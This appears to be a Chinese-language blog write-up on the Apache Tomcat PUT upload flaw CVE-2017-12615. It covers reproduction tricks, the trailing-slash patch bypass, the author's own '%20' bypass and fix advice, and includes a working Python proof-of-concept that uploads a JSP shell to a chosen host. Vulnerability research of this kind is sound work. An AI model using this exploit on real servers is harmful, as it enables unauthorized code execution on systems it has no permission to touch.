Tomcat代碼執行漏洞(CVE-2017-12615)的演繹及個人bypass
0x00 漏洞簡介
2017年9月19日,Apache Tomcat官方確認並修復了兩個高危漏洞。
漏洞CVE編號:CVE-2017-12615和CVE-2017-12616。
其中 遠程代碼執行漏洞(CVE-2017-12615)
影響: Apache Tomcat 7.0.0 - 7.0.79
漏洞觸發條件:
1,tomcat得架設在windows主機上
2,將readonly由默認值true設置為false。(開啟http PUT 方法)
攻擊者將有可能可通過精心構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件。之後,JSP 文件中的代碼將能被服務器執行。
該漏洞由360觀星實驗室發現並提交。
官方在確認漏洞並在tomcat 7.0.81中修復。
0x01 漏洞演繹:漏洞復現
需要的環境:
1,tomcat 版本低於7.0.81
2,burpsuite
官網上在7.0.81出來之後就找不到低於該版本的了,在csdn下了一個7.0.65的免安裝版。
jdk的配置與及環境變量的配置就不多說了。配置好conf/web.xml的readonly 為 false。如下圖
startup啟動tomcat,環境就算搭好了。
漏洞利用姿勢有兩種:
1,利用windows對文件名的要求特性。倘若文件名最後的一個字符是空格或者點號,會被自動去掉。
利用空格
利用點號
2,利用windows的ntfs文件流特性。關於文件流請看這裏(https://msdn.microsoft.com/en-us/library/dn393272.aspx)
至於原理可以參考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
0x02 漏洞演繹:bypass 補丁
在各方大佬對官方的的補丁進行分析,fuzz之後,發現了在文件名後加多一個‘/‘ 或者‘/.‘,可以直接bypass 補丁,攻擊範圍也從僅限於的windows擴展到windows和linux,漏洞影響版本也從僅影響7.x版本,直接日穿5.x到9.x所有版本。
漏洞影響:
版本:5.x-9.x
平臺:windows,linux
bypass 補丁環境準備:
1,tomcat 7.0.81
2,burpsuite
修改好readonly,開始測試。
利用‘/‘
利用‘/.‘
0x03 漏洞演繹:我的bypass
在對多個版本進行復現,測試的時候,我也發現了一個‘bypass‘,有些雞肋,充其量應該算是補丁的缺陷吧。
1,版本僅限於7.0.81;
2,平臺僅限於windows;
bypass 思路:先put請求一個服務器上面存在的jsp文件,如index.jsp%20,再put 我們自己的shell.jsp%20,神奇的發現創建了shell.jsp。測試了很久,發現只有%20可以過。
比如tomcat服務器上肯定存在index.jsp。
先put index.jsp%20 ,提示409
再put shell.jsp%20,可以發現成功創建了shell.jsp
在用burpsuite測試的時候,時不時會過不了。
寫了個腳本,思路就清晰了不少。
1 #-*- coding:utf-8 -*- 2 3 import requests 4 import sys 5 import random 6 7 8 body = ‘<%out.println("hello ! This is my bypass shell");%>‘ 9 10 urltemp = ‘http://‘+sys.argv[1]+‘/index.jsp%20‘ # put the exists jsp,like the index.jsp 11 shellname = ‘shell‘+str(random.randint(1000,10000)) 12 13 urlpoc = ‘http://‘+sys.argv[1]+‘/‘+shellname+‘.jsp%20‘ 14 15 urlnormal = ‘http://‘+sys.argv[1]+‘/‘+shellname+‘.jsp‘ 16 17 18 requests.put(urltemp,body) 19 20 response = requests.put(urlpoc,body) 21 22 code = response.status_code 23 24 if code== 201: 25 print ‘shell create‘; 26 27 response = requests.get(urlnormal) 28 code = response.status_code 29 if code == 200: 30 print ‘Your shell: ‘+urlnormal
腳本是穩定的:
至於為什麽會出現這種問題,得好好跟一下才知道了~~
0x04 修復方案:
認真檢查tomcat 配置是否設置了readonly為false或者是否啟用了PUT方法,設置readonly為true,禁用PUT方法!!
留意官方的最新補丁,及時升級!!
參考文章:
1,Tomcat 遠程代碼執行漏洞分析(CVE-2017-12615)及補丁 Bypass(http://www.freebuf.com/vuls/148283.html)
2,Tomcat信息泄漏和遠程代碼執行漏洞分析報告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
Tomcat代碼執行漏洞(CVE-2017-12615)的演繹及個人bypass